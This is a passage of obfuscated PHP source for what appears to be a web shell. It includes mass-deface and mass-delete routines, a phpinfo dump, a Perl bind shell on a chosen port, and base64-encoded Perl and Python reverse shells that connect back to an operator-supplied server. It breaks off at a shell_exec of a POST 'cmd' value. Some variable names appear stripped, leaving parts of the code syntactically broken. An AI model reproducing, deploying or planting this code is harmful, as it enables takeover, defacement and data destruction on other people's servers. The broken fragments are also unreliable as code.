"\x5b\74\147\162\76\x3c\151\x20\x63\x6c\141\x73\163\75\x27\142\151\40\x62\x69\55\x63\150\x65\143\x6b\x2d\x61\154\154\47\76\x3c\x2f\x69\76\x3c\x2f\x67\162\76\x5d\46\x6e\142\x73\160\73{$dirb}\x2f{$namefile}\74\142\x72\x3e"; file_put_contents($, $contents_sc); } } } } } } if ($_7["\163\164\141\162\x74"]) { if ($_7["\164\151\x70\x65"] == "\155\x61\163\x73") { mass_all($_7["\x64\x5f\144\151\162"], $_7["\144\137\146\x69\x6c\x65"], $_7["\x73\x63\x72\151\x70\x74"]); } elseif ($_7["\x74\151\160\145"] == "\x6f\156\145\x64\x69\x72") { mass_onedir($_7["\x64\x5f\x64\x69\x72"], $_7["\x64\137\146\151\x6c\x65"], $_7["\163\143\162\x69\x70\164"]); } } s(); echo "\12\11\x9\74\144\x69\166\x20\x63\154\141\163\x73\75\x27\143\x61\162\x64\40\143\141\162\x64\x2d\142\x6f\x64\171\x20\x74\x65\170\164\55\144\141\x72\x6b\x20\x69\x6e\160\x75\x74\x2d\x67\x72\x6f\x75\x70\40\x6d\x62\55\63\47\76\xa\x9\11\11\74\146\x6f\x72\155\40\x6d\x65\x74\x68\157\144\x3d\x27\x50\x4f\x53\x54\47\x3e\40\124\x69\x70\145\72\xa\x9\11\x9\x3c\x64\151\166\40\143\x6c\141\163\x73\75\x27\x66\157\x72\155\x2d\143\150\x65\143\x6b\x27\x3e\xa\x9\x9\x9\x9\x3c\x69\x6e\x70\x75\x74\x20\x63\154\141\163\x73\x3d\47\x66\x6f\162\x6d\55\x63\150\x65\143\x6b\55\151\156\160\x75\x74\x27\40\x74\x79\x70\x65\75\x27\x63\x68\x65\143\153\142\x6f\170\47\x20\x76\x61\x6c\165\145\75\47\x6f\x6e\145\144\x69\x72\x27\x20\156\141\x6d\x65\75\47\x74\151\160\x65\x27\x20\x69\144\x3d\x27\x66\154\x65\x78\x43\x68\x65\x63\153\x44\145\146\x61\x75\x6c\x74\x27\40\x63\x68\x65\143\x6b\x65\144\x3e\xa\11\x9\11\11\x3c\154\x61\142\145\x6c\x20\x63\154\x61\x73\163\x3d\47\x66\157\x72\x6d\55\143\x68\145\143\x6b\55\154\141\x62\145\x6c\47\40\146\x6f\162\75\x27\x66\x6c\145\170\103\x68\x65\x63\153\x44\145\x66\141\x75\154\164\47\76\117\x6e\x65\40\144\151\x72\x3c\57\x6c\x61\142\145\x6c\x3e\xa\11\x9\x9\x3c\57\144\151\x76\x3e\12\11\x9\11\74\x64\151\x76\40\x63\x6c\x61\x73\163\x3d\x27\x66\157\162\x6d\x2d\143\x68\145\x63\153\x27\76\xa\11\x9\x9\11\x3c\151\x6e\160\x75\x74\40\x63\x6c\x61\163\x73\x3d\47\146\x6f\162\155\55\143\150\x65\143\x6b\55\x69\x6e\x70\x75\x74\x27\x20\164\171\160\x65\x3d\47\x63\150\145\x63\153\142\157\170\47\x20\166\141\154\165\145\x3d\x27\155\x61\x73\x73\x27\x20\x6e\141\x6d\x65\75\x27\x74\x69\160\x65\47\40\151\144\x3d\47\146\154\x65\x78\x43\x68\145\x63\153\x44\x65\x66\141\165\x6c\164\x27\x3e\12\11\11\11\11\74\x6c\141\142\145\154\40\x63\154\141\163\163\75\47\146\x6f\x72\155\x2d\x63\x68\145\143\x6b\55\154\141\x62\x65\154\47\40\146\157\x72\x3d\x27\146\154\145\170\103\150\145\143\153\x44\145\x66\x61\x75\154\164\47\76\x41\x6c\x6c\x20\144\x69\162\145\143\x74\157\x72\x79\x3c\57\x6c\x61\142\145\154\x3e\12\x9\11\x9\x3c\x2f\x64\x69\x76\76\xa\11\x9\11\11\74\151\40\x63\x6c\141\x73\163\x3d\x27\142\151\x20\x62\151\55\146\157\x6c\x64\145\162\x27\76\74\x2f\x69\76\40\104\x69\162\x65\x63\x74\157\x72\x79\x3a\xa\11\11\11\11\74\151\156\x70\165\164\40\143\x6c\141\163\x73\75\x27\146\x6f\162\x6d\55\143\157\156\x74\162\157\154\x20\x62\164\156\55\x73\155\47\40\x74\x79\160\x65\75\47\164\x65\x78\164\47\x20\156\141\155\145\x3d\x27\x64\x5f\144\x69\x72\x27\x20\166\141\154\x75\x65\x3d\47{$dir}\x27\x3e\xa\11\x9\x9\x9\x3c\151\40\x63\x6c\141\163\163\x3d\47\142\151\x20\x62\151\x2d\x66\x69\x6c\145\x2d\x65\141\x72\155\x61\162\x6b\x27\x3e\x3c\x2f\151\x3e\x20\106\x69\x6c\x65\156\141\x6d\x65\x3a\12\11\x9\11\x9\x3c\x69\156\x70\165\x74\40\143\x6c\141\163\163\75\x27\x66\x6f\162\155\55\143\157\156\164\x72\157\x6c\40\142\164\156\55\x73\x6d\x27\x20\164\171\x70\x65\75\x27\164\145\x78\x74\x27\40\x6e\x61\x6d\145\x3d\x27\x64\137\x66\x69\x6c\145\x27\40\x70\154\x61\x63\145\x68\157\x6c\144\x65\x72\75\47\146\151\x6c\x65\x6e\141\155\x65\x27\76\xa\x9\x9\x9\11\74\x69\40\143\x6c\141\x73\x73\x3d\x27\142\151\x20\x62\151\55\x66\x69\x6c\x65\55\x65\x61\162\155\141\162\153\x27\x3e\x3c\x2f\x69\x3e\40\x59\x6f\x75\x72\x20\x73\x63\162\151\160\x74\72\xa\11\11\11\x9\x3c\x74\x65\x78\164\x61\162\x65\x61\40\143\x6c\x61\x73\x73\75\47\146\x6f\162\155\55\x63\157\x6e\164\162\x6f\154\40\x62\164\156\x2d\x73\155\47\40\162\x6f\x77\163\75\47\67\x27\x20\156\x61\155\145\75\x27\x73\x63\162\x69\x70\x74\47\x20\x70\x6c\141\x63\145\150\157\154\144\x65\162\75\47\171\157\165\162\40\163\x63\162\151\160\164\47\x3e\74\57\x74\x65\x78\164\141\x72\145\141\x3e\12\11\x9\11\x9\74\144\151\x76\40\143\x6c\x61\163\x73\75\47\x64\55\147\x72\151\144\x20\x67\141\160\x2d\62\x27\76\xa\11\x9\11\11\11\x3c\151\x6e\x70\165\164\40\143\154\x61\x73\163\x3d\x27\142\164\156\x20\x62\x74\156\55\x64\x61\x72\153\x20\x62\164\156\55\163\155\47\x20\x74\171\x70\145\x3d\47\x73\165\142\155\x69\x74\47\40\156\x61\x6d\x65\x3d\x27\163\x74\x61\x72\x74\x27\40\x76\x61\154\165\145\75\47\x64\145\146\141\143\145\47\x3e\12\11\x9\x9\11\74\57\144\x69\x76\76\12\11\x9\11\74\x2f\146\x6f\162\x6d\76\xa\x9\11\74\57\144\x69\x76\x3e"; } if ($_7["\x69\144"] == "\x64\145\x6c\x65\x74\x65") { function mass_delete($dir, $namefile) { if (is_writable($dir)) { $dira = scandir($dir); foreach ($dira as $dirb) { $dirc = "{$dir}\x2f{$dirb}"; $ = $dirc . "\x2f" . $namefile; if ($dirb === "\56") { if (file_exists("{$dir}\x2f{$namefile}")) { unlink("{$dir}\x2f{$namefile}"); } } elseif ($dirb === "\56\56") { if (file_exists('' . dirname($dir) . "\57{$namefile}")) { unlink('' . dirname($dir) . "\x2f{$namefile}"); } } else { if (is_dir($dirc)) { if (is_writable($dirc)) { if (file_exists($)) { echo "\x5b\x3c\x67\162\x3e\x3c\151\40\x63\x6c\x61\x73\163\x3d\47\x62\x69\40\142\x69\x2d\x63\x68\145\x63\x6b\55\x61\x6c\154\47\76\74\x2f\x69\76\x3c\57\147\162\x3e\135\46\x6e\142\x73\x70\x3b{$}\x3c\142\x72\x3e"; unlink($); $ = mass_delete($dirc, $namefile); } } } } } } } if ($_7["\163\164\141\162\x74"]) { mass_delete($_7["\x64\137\x64\151\162"], $_7["\x64\137\146\151\154\145"]); } s(); echo "\12\11\x9\74\144\151\x76\x20\x63\154\x61\163\163\75\x27\143\141\x72\144\x20\x63\x61\162\x64\x2d\142\x6f\144\171\40\164\145\x78\164\x2d\144\141\x72\153\40\151\156\x70\165\x74\x2d\x67\x72\157\x75\x70\40\x6d\x62\55\x33\x27\x3e\xa\x9\11\x9\74\146\x6f\162\155\x20\155\x65\x74\x68\157\x64\x3d\47\120\117\x53\x54\x27\76\xa\11\x9\x9\x9\x3c\x69\40\x63\x6c\x61\163\163\75\47\x62\151\x20\142\x69\55\146\157\154\x64\145\x72\x27\76\74\57\x69\x3e\40\x44\x69\162\x65\143\x74\157\x72\x79\x3a\12\x9\x9\x9\x9\x3c\151\x6e\x70\165\164\x20\x63\154\141\x73\163\x3d\x27\x66\x6f\x72\155\x2d\x63\x6f\156\x74\x72\157\154\40\142\164\x6e\x2d\163\155\x27\x20\x74\x79\x70\145\75\x27\x74\x65\x78\164\47\x20\156\x61\x6d\x65\75\47\144\137\144\151\x72\x27\40\166\141\x6c\165\145\x3d\47{$dir}\x27\40{$_r}\76\xa\11\11\x9\11\11\74\151\40\x63\x6c\x61\163\x73\x3d\47\142\x69\x20\142\x69\55\146\x69\154\x65\x2d\x65\x61\162\155\141\x72\153\47\76\x3c\x2f\151\76\x20\x46\x69\154\x65\x6e\141\155\145\72\12\x9\11\x9\11\x3c\144\x69\166\40\143\154\x61\x73\x73\75\x27\151\156\x70\165\x74\x2d\147\x72\x6f\x75\x70\x27\x3e\12\x9\11\11\11\11\x3c\x69\156\160\x75\x74\x20\143\x6c\x61\x73\163\x3d\x27\146\x6f\162\x6d\x2d\143\157\156\164\162\157\154\40\x62\164\156\x2d\x73\155\x27\40\164\171\160\x65\x3d\47\164\145\170\x74\x27\40\156\141\x6d\x65\75\47\x64\137\146\151\x6c\145\x27\40\160\x6c\141\143\145\x68\x6f\x6c\144\145\162\75\47\x66\151\x6c\145\x6e\141\x6d\x65\47\x20{$_r}\x3e\x3c\x62\x72\76\12\11\11\11\11\x9\74\144\151\166\40\143\x6c\141\163\163\75\47\x69\x6e\160\165\x74\55\147\x72\x6f\x75\x70\x2d\141\x70\160\x65\x6e\x64\x27\x3e\12\11\11\11\x9\11\11\74\151\x6e\x70\x75\164\x20\143\154\x61\x73\163\75\x27\142\164\156\40\142\x74\156\55\x64\141\162\153\40\x62\164\156\55\x73\155\x27\x20\164\171\x70\x65\75\47\x73\165\142\155\151\164\47\40\x6e\x61\x6d\145\75\47\163\x74\x61\x72\164\x27\x20\x76\x61\x6c\x75\145\x3d\47\x64\145\154\x65\164\x65\47\76\12\x9\x9\x9\x9\11\74\57\144\151\166\76\12\x9\x9\x9\x9\74\57\x64\151\166\76\xa\x9\11\x9\x3c\57\146\x6f\162\x6d\76\xa\x9\11\x3c\57\x64\151\166\x3e"; } if ($_7["\151\144"] == "\x70\x68\x70\151\156\x66\x6f") { @ob_start(); @eval("\160\x68\160\151\x6e\146\157\x28\51\x3b"); $buff = @ob_get_contents(); @ob_end_clean(); $front = strpos($buff, "\x3c\142\x6f\x64\171\76") + 6; $end = strpos($buff, "\x3c\x2f\x62\x6f\x64\x79\x3e"); echo "\74\160\162\x65\x20\143\154\141\163\163\75\47\160\150\x70\137\x69\x6e\x66\x6f\47\x3e" . substr($buff, $front, $front - $front) . "\x3c\x2f\x70\x72\x65\x3e"; die; } if ($_7["\151\x64"] == "\x6e\x65\x74\167\157\x72\153") { s(); echo "\12\x9\11\x3c\144\x69\166\x20\x63\x6c\141\x73\x73\x3d\47\143\141\x72\x64\x20\164\145\x78\x74\55\x64\141\162\153\47\x3e\12\11\x9\x9\74\x64\x69\166\40\143\x6c\141\x73\163\75\47\143\x61\x72\144\55\x68\x65\x61\144\145\x72\47\x3e\12\11\11\11\11\74\x66\157\162\155\x20\x6d\x65\x74\x68\x6f\x64\x3d\x27\160\157\x73\164\x27\x3e\12\x9\x9\11\x9\11\x3c\165\76\102\151\156\144\40\160\x6f\162\164\40\164\x6f\x20\x2f\x62\151\x6e\57\x73\150\x20\133\120\145\162\154\135\74\57\165\76\74\x62\162\x3e\12\11\11\x9\x9\x9\x3c\165\76\120\x6f\162\x74\40\x3a\74\57\165\76\12\x9\11\x9\11\x3c\144\x69\166\x20\143\x6c\141\163\163\75\47\x69\x6e\x70\165\x74\55\147\x72\x6f\x75\160\x27\x3e\12\x9\11\11\11\11\x3c\151\156\160\x75\164\x20\143\x6c\141\163\x73\75\x27\x66\x6f\x72\x6d\x2d\x63\157\x6e\x74\x72\x6f\154\x20\x62\164\x6e\55\163\x6d\47\40\x74\x79\x70\145\75\47\x74\145\170\164\47\x20\156\141\x6d\x65\75\47\160\157\x72\x74\x27\x20\x70\x6c\x61\143\x65\x68\x6f\x6c\144\145\x72\x3d\x27\66\71\x36\x39\x27\x3e\12\x9\11\x9\11\x9\x3c\x69\x6e\160\x75\x74\40\x63\x6c\x61\163\163\75\x27\142\x74\156\x20\x62\x74\x6e\55\144\141\x72\x6b\x20\x62\x74\156\55\x73\x6d\47\40\164\x79\160\x65\75\x27\163\165\142\155\x69\x74\x27\40\x6e\x61\155\x65\75\x27\x62\x70\154\x27\40\x76\x61\154\165\x65\75\x27\x73\165\142\x6d\151\x74\x27\x3e\xa\x9\11\11\11\x3c\57\144\x69\166\x3e\12\11\x9\x9\74\150\65\76\x42\141\x63\x6b\55\103\157\156\x6e\145\143\x74\74\57\x68\x35\x3e\xa\11\x9\x9\x3c\x75\x3e\x53\145\162\x76\x65\162\x20\72\x3c\57\x75\x3e\12\11\11\x9\x9\x3c\151\x6e\160\165\164\x20\143\x6c\x61\x73\163\x3d\47\146\x6f\x72\x6d\x2d\143\x6f\156\164\x72\157\154\x20\142\x74\156\x2d\x73\x6d\47\40\x74\x79\x70\145\x3d\47\x74\x65\170\x74\x27\40\x6e\x61\x6d\x65\x3d\x27\163\145\x72\166\x65\x72\x27\x20\160\154\141\x63\x65\x68\x6f\154\144\145\162\75\47" . $_SERVER["\122\x45\115\x4f\x54\x45\137\101\104\x44\x52"] . "\x27\76\xa\x9\11\x9\74\165\x3e\x50\157\162\164\40\72\74\x2f\165\76\xa\x9\x9\x9\x3c\x64\151\x76\x20\143\x6c\x61\x73\x73\75\47\151\156\x70\x75\164\x2d\147\x72\157\165\160\47\x3e\12\x9\x9\11\11\x3c\151\156\x70\165\x74\x20\x63\154\141\163\163\75\47\x66\x6f\162\155\55\x63\157\x6e\164\x72\157\x6c\40\x62\164\x6e\55\163\155\47\40\164\171\x70\x65\x3d\x27\x74\x65\x78\164\x27\x20\x6e\x61\155\145\x3d\x27\x70\157\x72\x74\x27\x20\x70\154\x61\x63\x65\150\x6f\154\144\145\162\75\x27\66\71\66\x39\47\x3e\12\11\x9\11\x9\x3c\x73\x65\x6c\x65\x63\164\40\143\x6c\141\x73\x73\x3d\x27\146\157\162\155\x2d\143\x6f\x6e\164\x72\157\154\x20\x62\x74\156\x2d\163\x6d\x27\40\x6e\141\155\x65\75\47\x62\x63\x27\x3e\xa\x9\x9\x9\11\11\74\x6f\x70\164\151\157\x6e\40\166\141\154\x75\145\x3d\47\x70\x65\162\154\x27\x3e\x70\145\162\154\x3c\x2f\157\x70\164\x69\157\156\x3e\12\x9\x9\x9\x9\11\74\x6f\x70\164\x69\x6f\x6e\x20\x76\x61\x6c\x75\145\x3d\x27\160\x79\x74\x68\157\156\x27\76\x70\171\x74\150\157\156\74\x2f\157\x70\x74\x69\x6f\x6e\76\12\x9\x9\11\x9\74\57\x73\x65\154\145\143\164\76\12\11\x9\x9\74\x2f\144\x69\x76\x3e\xa\x9\11\11\x3c\144\151\x76\x20\143\x6c\x61\163\163\x3d\47\x64\55\x67\162\x69\x64\40\147\x61\160\x2d\62\x27\x3e\12\x9\x9\x9\x9\74\151\x6e\x70\x75\x74\x20\143\154\x61\163\163\75\x27\142\x74\x6e\x20\142\x74\156\55\144\141\x72\x6b\x20\142\x74\x6e\x2d\x73\x6d\40\142\164\x6e\x2d\x62\154\157\143\x6b\x27\x20\164\x79\160\145\x3d\47\x73\165\x62\x6d\151\x74\47\40\x76\141\x6c\165\x65\x3d\x27\163\x75\142\x6d\151\164\x27\x3e\xa\x9\11\11\x3c\x2f\x64\151\x76\76\xa\x9\x9\x3c\x2f\146\157\x72\x6d\x3e"; if ($_7["\142\160\154"]) { $bp = base64_decode("\111\x79\x45\x76\144\x58\x4e\171\114\x32\x4a\x70\142\151\x39\167\132\130\x4a\x73\104\x51\x6f\153\125\x30\x68\x46\x54\105\x77\71\x49\x69\71\151\141\127\x34\166\x63\x32\x67\147\114\x57\153\151\117\167\x30\113\141\x57\131\x67\x4b\x45\102\x42\125\x6b\x64\127\111\x44\x77\147\x4d\123\x6b\147\145\x79\102\x6c\145\107\154\60\113\104\x45\x70\x4f\171\102\71\104\121\x70\61\143\x32\125\x67\x55\62\71\152\141\62\126\60\x4f\x77\x30\x4b\x63\x32\x39\x6a\141\x32\x56\x30\113\x46\x4d\x73\112\x6c\x42\107\130\60\154\x4f\122\x56\x51\163\112\x6c\x4e\120\x51\x30\x74\x66\x55\x31\122\x53\x52\x55\106\116\114\x47\x64\x6c\x64\x48\x42\x79\x62\x33\x52\166\131\156\154\x75\131\x57\x31\154\x4b\x43\144\60\x59\63\x41\156\113\123\153\x67\x66\x48\x77\147\132\x47\154\154\x49\x43\x4a\104\x59\x57\x35\60\111\107\x4e\171\132\127\106\60\132\123\x42\172\142\62\x4e\162\x5a\130\x52\143\x62\x69\111\x37\104\x51\160\172\x5a\130\122\x7a\x62\x32\116\x72\142\63\x42\60\x4b\106\x4d\x73\125\x30\x39\x4d\x58\x31\x4e\x50\x51\x30\x74\106\x56\x43\170\124\x54\61\x39\123\122\126\x56\124\122\125\x46\x45\122\106\111\x73\x4d\x53\153\67\104\x51\160\x69\141\x57\x35\153\x4b\106\115\x73\143\62\x39\x6a\141\62\106\153\132\x48\112\x66\141\x57\64\157\112\x45\106\123\x52\x31\x5a\142\x4d\106\60\x73\123\x55\x35\x42\122\x45\x52\x53\130\60\x46\x4f\x57\123\x6b\160\111\x48\x78\70\111\107\122\160\132\x53\x41\151\121\62\x46\165\x64\103\x42\166\x63\107\x56\x75\111\110\x42\166\143\x6e\122\x63\142\151\111\67\104\121\x70\163\x61\x58\x4e\x30\132\x57\x34\157\x55\x79\167\x7a\113\123\102\x38\146\103\x42\153\x61\x57\125\x67\111\153\x4e\150\x62\x6e\x51\147\x62\x47\x6c\x7a\144\107\126\165\111\110\x42\166\x63\x6e\122\x63\x62\x69\x49\x37\x44\x51\x70\x33\x61\x47\x6c\x73\x5a\x53\147\x78\x4b\x53\102\x37\104\121\157\x4a\131\x57\x4e\x6a\132\x58\102\60\113\x45\x4e\120\x54\153\x34\x73\x55\171\153\67\104\x51\x6f\x4a\x61\127\131\157\x49\x53\x67\153\143\107\154\x6b\x50\127\132\166\x63\155\163\x70\113\x53\102\x37\104\x51\x6f\x4a\103\x57\122\x70\x5a\123\x41\x69\x51\62\x46\x75\x62\155\71\60\x49\x47\132\166\x63\155\163\x69\x49\107\154\155\111\x43\x67\x68\132\x47\126\x6d\x61\127\x35\x6c\x5a\103\101\x6b\x63\107\154\x6b\113\x54\163\116\x43\x67\x6b\x4a\x62\63\x42\154\x62\x69\x42\124\x56\105\122\x4a\124\x69\x77\151\120\103\132\104\x54\x30\x35\117\x49\152\163\116\103\x67\x6b\x4a\x62\63\102\x6c\x62\151\x42\124\126\x45\122\120\x56\126\121\x73\111\x6a\x34\155\x51\60\71\x4f\124\151\111\x37\x44\121\x6f\x4a\x43\127\71\x77\x5a\x57\64\147\125\x31\122\105\x52\126\x4a\123\114\x43\x49\53\112\153\x4e\x50\x54\x6b\64\x69\x4f\x77\60\113\103\x51\x6c\x6c\145\x47\x56\152\x49\x43\122\124\x53\105\126\x4d\124\x43\x42\70\146\x43\x42\153\141\127\125\x67\x63\x48\x4a\x70\x62\156\x51\147\x51\60\x39\117\x54\x69\101\151\x51\x32\x46\165\x64\103\x42\154\145\107\x56\x6a\x64\x58\122\x6c\111\x43\122\124\x53\x45\126\115\124\x46\170\165\x49\x6a\163\x4e\103\147\153\112\131\62\x78\x76\x63\62\x55\x67\121\x30\71\117\x54\152\x73\x4e\103\x67\x6b\112\x5a\x58\150\160\144\x43\x41\x77\117\x77\x30\x4b\103\130\60\x4e\103\156\x30\75"); $brt = @fopen("\x62\160\56\x70\x6c", "\x77"); fwrite($brt, $bp); $out = exe("\x70\x65\x72\154\x20\x62\x70\56\160\x6c\x20" . $_7["\160\157\162\164"] . "\x20\x31\76\x2f\144\x65\166\57\156\165\154\x6c\x20\62\x3e\46\61\40\x26"); sleep(1); echo "\x3c\x70\x72\145\x3e{$out}\xa" . exe("\160\163\40\141\x75\x78\40\174\40\147\162\x65\x70\x20\142\160\56\x70\154") . "\x3c\x2f\x70\x72\x65\x3e"; unlink("\x62\160\x2e\160\x6c"); } if ($_7["\x62\143"] == "\160\145\162\154") { $bc = base64_decode("\x49\x79\105\166\144\130\116\171\x4c\x32\x4a\x70\142\x69\71\167\132\130\112\163\x44\x51\160\x31\x63\62\x55\x67\125\x32\71\x6a\x61\x32\x56\x30\x4f\167\x30\113\112\107\x6c\x68\132\107\122\x79\120\127\154\x75\132\x58\122\146\131\130\x52\166\142\151\147\x6b\x51\126\112\x48\x56\154\163\167\130\123\153\x67\x66\x48\x77\147\x5a\x47\154\154\x4b\103\112\x46\143\156\112\x76\143\152\x6f\x67\112\x43\x46\143\142\151\111\160\x4f\x77\x30\x4b\112\x48\x42\x68\x5a\x47\x52\x79\x50\x58\116\166\131\62\164\x68\132\x47\122\171\x58\x32\154\165\x4b\103\x52\x42\125\153\144\x57\x57\172\x46\x64\114\x43\101\x6b\141\127\x46\153\132\110\x49\160\111\110\170\70\111\x47\122\x70\132\123\147\x69\122\x58\112\x79\142\x33\x49\x36\x49\x43\x51\x68\130\x47\x34\x69\113\124\x73\x4e\103\x69\122\x77\143\155\71\x30\x62\x7a\x31\156\132\x58\122\x77\x63\155\x39\60\x62\x32\x4a\65\142\155\x46\x74\x5a\123\147\x6e\x64\x47\x4e\167\112\x79\153\67\104\x51\x70\172\142\62\116\162\x5a\x58\x51\157\125\x30\71\x44\x53\x30\126\x55\x4c\103\x42\121\x52\x6c\x39\x4a\124\x6b\x56\x55\x4c\103\102\124\x54\x30\116\114\x58\x31\x4e\x55\x55\153\x56\x42\x54\x53\x77\x67\112\x48\102\x79\142\63\122\x76\x4b\123\x42\x38\x66\x43\102\153\x61\x57\x55\x6f\x49\153\x56\171\143\x6d\x39\x79\x4f\x69\101\x6b\111\126\170\x75\x49\x69\153\67\x44\121\160\152\142\x32\x35\165\132\x57\116\x30\113\106\x4e\120\x51\60\164\x46\126\x43\167\x67\112\x48\102\x68\132\x47\122\x79\113\x53\102\70\146\103\x42\x6b\x61\127\125\x6f\111\x6b\126\x79\143\x6d\71\x79\x4f\151\x41\x6b\x49\x56\x78\165\x49\151\153\x37\104\x51\x70\x76\x63\x47\x56\165\113\x46\x4e\x55\122\x45\x6c\x4f\114\x43\101\151\120\x69\x5a\124\x54\60\x4e\114\x52\x56\121\151\113\x54\x73\x4e\103\155\x39\x77\x5a\127\x34\157\125\61\x52\x45\x54\61\x56\x55\114\x43\101\151\x50\151\x5a\124\124\60\116\x4c\122\126\x51\151\113\124\163\116\x43\x6d\71\x77\x5a\x57\x34\157\125\61\x52\x45\122\126\x4a\123\114\103\101\x69\120\x69\x5a\124\x54\x30\x4e\x4c\x52\126\121\151\113\x54\163\x4e\103\156\116\x35\x63\x33\122\154\142\x53\147\156\114\62\x4a\x70\142\151\x39\x7a\x61\x43\x41\164\x61\x53\x63\x70\117\167\x30\x4b\131\62\170\x76\x63\62\125\157\125\x31\x52\105\x53\125\x34\x70\117\x77\x30\113\x59\62\170\166\143\62\125\x6f\125\x31\x52\x45\124\61\x56\x55\x4b\x54\163\x4e\x43\x6d\x4e\163\x62\x33\116\x6c\113\106\x4e\x55\122\105\x56\x53\x55\151\153\67"); $plbc = @fopen("\x62\x63\56\160\x6c", "\167"); fwrite($plbc, $bc); $out = exe("\160\x65\162\154\x20\142\x63\x2e\x70\x6c\40" . $_7["\x73\x65\x72\166\x65\162"] . "\x20" . $_7["\160\157\x72\x74"] . "\x20\x31\x3e\57\144\145\166\x2f\x6e\165\154\154\x20\62\76\x26\61\x20\x26"); sleep(1); echo "\74\160\162\x65\x3e{$out}\12" . exe("\160\163\x20\141\165\x78\x20\174\40\147\x72\x65\160\40\x62\143\56\x70\154") . "\74\57\160\162\x65\76"; unlink("\142\143\56\160\154"); } if ($_7["\x62\143"] == "\x70\x79\x74\x68\157\x6e") { $bc_py = base64_decode("\x49\x79\x45\166\x64\130\116\171\114\x32\x4a\x70\142\151\71\167\145\x58\122\x6f\142\x32\64\x4e\103\x69\x4e\x56\x63\62\106\156\x5a\124\x6f\x67\x63\x48\154\60\x61\x47\71\x75\x49\107\x5a\160\142\107\126\x75\131\x57\61\x6c\x4c\x6e\x42\x35\x49\105\x68\x50\x55\x31\x51\147\125\x45\71\x53\x56\x41\x30\113\x61\x57\61\x77\142\x33\112\60\x49\110\x4e\x35\x63\171\x77\x67\143\x32\71\x6a\141\62\x56\x30\x4c\x43\102\x76\143\x79\167\x67\x63\63\x56\151\143\x48\112\166\131\62\x56\172\143\x77\x30\x4b\141\130\102\163\142\x79\x41\x39\111\110\x4e\x35\143\x79\x35\150\143\x6d\x64\62\127\x7a\x46\144\104\x51\160\167\x62\x33\112\x30\x62\107\70\x67\120\x53\102\160\142\x6e\121\157\x63\x33\x6c\172\x4c\155\106\x79\132\x33\132\x62\115\x6c\60\x70\x44\121\x70\172\142\62\x4e\162\132\130\121\165\x63\62\x56\x30\x5a\x47\x56\x6d\x59\x58\x56\163\x64\110\122\160\x62\x57\126\x76\144\130\x51\157\x4e\152\101\x70\x44\x51\x70\153\132\x57\131\x67\143\x48\x6c\151\x59\127\116\x72\131\62\71\x75\x62\x6d\126\x6a\x64\103\x67\160\x4f\147\60\x4b\x49\x43\102\60\143\x6e\x6b\66\x44\121\157\147\x49\x43\101\x67\141\x6d\x31\x69\x49\x44\60\147\x63\62\x39\152\x61\62\126\60\114\156\x4e\x76\x59\62\x74\x6c\144\103\x68\x7a\x62\x32\116\x72\132\x58\121\165\x51\125\132\146\123\125\65\106\126\103\170\x7a\x62\62\116\x72\x5a\x58\x51\165\x55\60\71\104\x53\61\71\x54\x56\x46\x4a\x46\x51\125\60\160\104\x51\x6f\x67\x49\103\x41\147\141\155\61\151\x4c\155\116\166\x62\x6d\65\x6c\131\x33\x51\157\x4b\x47\154\x77\142\107\70\163\x63\x47\71\171\x64\107\170\166\113\123\x6b\116\103\151\101\147\111\103\x42\x71\142\x57\111\x75\x63\x32\x56\x75\132\x43\147\x6e\x4a\171\x64\143\142\x6c\x42\65\144\x47\150\x76\142\x69\102\103\x59\127\116\162\x51\62\x39\165\x62\155\x56\152\x64\x43\102\103\145\x53\102\116\143\x69\x35\x34\x51\155\106\x79\x59\x57\x74\61\132\107\x46\x63\142\x6c\x52\x6f\x59\127\x35\162\x63\171\102\x48\142\x32\71\156\142\x47\125\x67\x52\x6d\x39\171\x49\106\112\x6c\x5a\x6d\x56\171\x5a\x57\65\172\x61\126\170\165\x58\x47\64\x6e\112\171\143\160\104\x51\157\147\111\103\x41\147\x62\63\115\165\132\110\126\x77\115\151\x68\x71\x62\x57\111\x75\x5a\155\154\163\x5a\x57\x35\x76\x4b\x43\x6b\163\115\103\153\x4e\x43\151\x41\147\x49\x43\x42\166\143\x79\65\x6b\x64\x58\x41\171\113\107\160\x74\131\x69\x35\x6d\141\127\170\154\142\x6d\x38\x6f\113\123\167\x78\113\121\60\113\111\x43\x41\x67\111\107\71\x7a\114\155\x52\61\x63\104\111\157\x61\155\x31\151\x4c\x6d\132\160\142\x47\126\165\142\x79\x67\160\114\104\111\x70\104\x51\x6f\x67\111\x43\x41\147\x62\x33\115\165\132\110\126\x77\x4d\x69\150\161\142\127\111\165\132\155\154\163\132\x57\65\166\113\x43\x6b\163\x4d\171\153\116\103\x69\101\x67\111\103\x42\172\x61\x47\126\163\x62\x43\x41\x39\x49\x48\x4e\61\131\156\x42\x79\x62\x32\116\x6c\x63\x33\x4d\x75\x59\x32\106\x73\x62\x43\150\142\x49\x69\x39\151\x61\x57\x34\166\x63\62\x67\151\x4c\103\111\164\x61\123\x4a\144\113\121\x30\x4b\111\x43\102\154\x65\107\x4e\x6c\x63\110\121\147\x63\x32\x39\152\x61\x32\126\x30\x4c\x6e\122\160\x62\x57\126\x76\x64\x58\x51\66\104\x51\x6f\x67\x49\x43\101\x67\143\110\x4a\160\x62\156\121\x67\x49\154\122\160\x62\125\71\61\x64\103\111\x4e\103\151\x41\x67\x5a\x58\150\152\132\130\102\x30\111\x48\116\166\131\x32\164\x6c\144\103\65\154\x63\156\x4a\x76\x63\151\167\147\x5a\x54\x6f\116\x43\x69\101\147\x49\x43\x42\x77\143\x6d\x6c\165\x64\103\101\x69\x52\x58\x4a\171\142\x33\x49\151\114\x43\102\154\104\121\160\167\145\127\x4a\150\x59\62\x74\152\142\x32\65\165\132\127\x4e\x30\113\x43\x6b\x3d"); $pbc_py = @fopen("\142\x63\x70\171\56\x70\x79", "\x77"); fwrite($pbc_py, $bc_py); $out_py = exe("\x70\x79\164\x68\x6f\x6e\40\142\143\x70\x79\56\x70\171\x20" . $_7["\163\145\x72\x76\145\162"] . "\x20" . $_7["\x70\157\x72\x74"]); sleep(1); echo "\x3c\160\162\145\x3e{$out_py}\xa" . exe("\x70\x73\x20\141\x75\x78\x20\x7c\40\147\162\x65\x70\40\x62\x63\x70\171\x2e\x70\171") . "\x3c\57\x70\162\145\76"; unlink("\142\143\160\x79\56\x70\171"); } echo "\74\57\144\x69\x76\x3e\xa\x9\11\11\74\57\x64\x69\x76\x3e\xa\11\x9\x3c\142\162\x2f\x3e"; } if ($_7["\x69\x64"] == "\x63\155\x64") { s(); if (!empty($_POST["\x63\155\144"])) { $cmd = shell_exec($_POST["\143\155\x64"] . 